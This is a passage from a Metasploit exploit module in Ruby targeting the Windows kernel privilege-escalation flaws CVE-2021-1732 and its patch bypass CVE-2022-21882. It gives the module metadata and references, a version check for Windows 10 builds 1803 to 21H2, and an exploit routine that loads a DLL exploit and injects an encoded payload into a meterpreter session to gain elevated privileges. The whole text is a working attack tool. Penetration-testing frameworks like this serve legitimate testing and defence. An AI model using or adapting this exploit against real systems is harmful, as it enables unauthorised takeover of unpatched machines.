The flaw exists in how the WndExtra field of a window can be manipulated into being treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to achieve an out of bounds write operation, eventually leading to privilege escalation. This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021. In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to function on a wider range of Windows 10 targets. }, 'License' => MSF_LICENSE, 'Author' => [ # CVE-2021-1732 'BITTER APT', # exploit as used in the wild 'JinQuan', # detailed analysis 'MaDongZe', # detailed analysis 'TuXiaoYi', # detailed analysis 'LiHao', # detailed analysis # CVE-2022-21882 'L4ys', # github poc # both CVEs 'KaLendsi', # github pocs # Metasploit exploit 'Spencer McIntyre' # metasploit module ], 'Arch' => [ ARCH_X64 ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows 10 v1803-21H2 x64', { 'Arch' => ARCH_X64 } ] ], 'Payload' => { 'DisableNops' => true }, 'References' => [ # CVE-2021-1732 references [ 'CVE', '2021-1732' ], [ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ], [ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ], [ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ], [ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ], # the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit [ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ], [ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ], [ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ], [ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ], # CVE-2022-21882 references [ 'CVE', '2022-21882' ], [ 'URL', 'https://github.com/L4ys/CVE-2022-21882' ], [ 'URL', 'https://github.com/KaLendsi/CVE-2022-21882' ] ], 'DisclosureDate' => '2021-02-09', # CVE-2021-1732 disclosure date 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_OS_RESTARTS, ], 'Reliability' => [ REPEATABLE_SESSION, ], 'SideEffects' => [] } } ) ) end def check sysinfo_value = sysinfo['OS'] if sysinfo_value !~ /windows/i # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i vprint_status("Windows Build Number = #{build_num}") unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19044) print_error('The exploit only supports Windows 10 versions 1803 - 21H2') return CheckCode::Safe end CheckCode::Appears end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end encoded_payload = payload.encoded execute_dll( ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-21882', 'CVE-2022-21882.x64.dll'), [encoded_payload.length].pack('I<') + encoded_payload ) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end
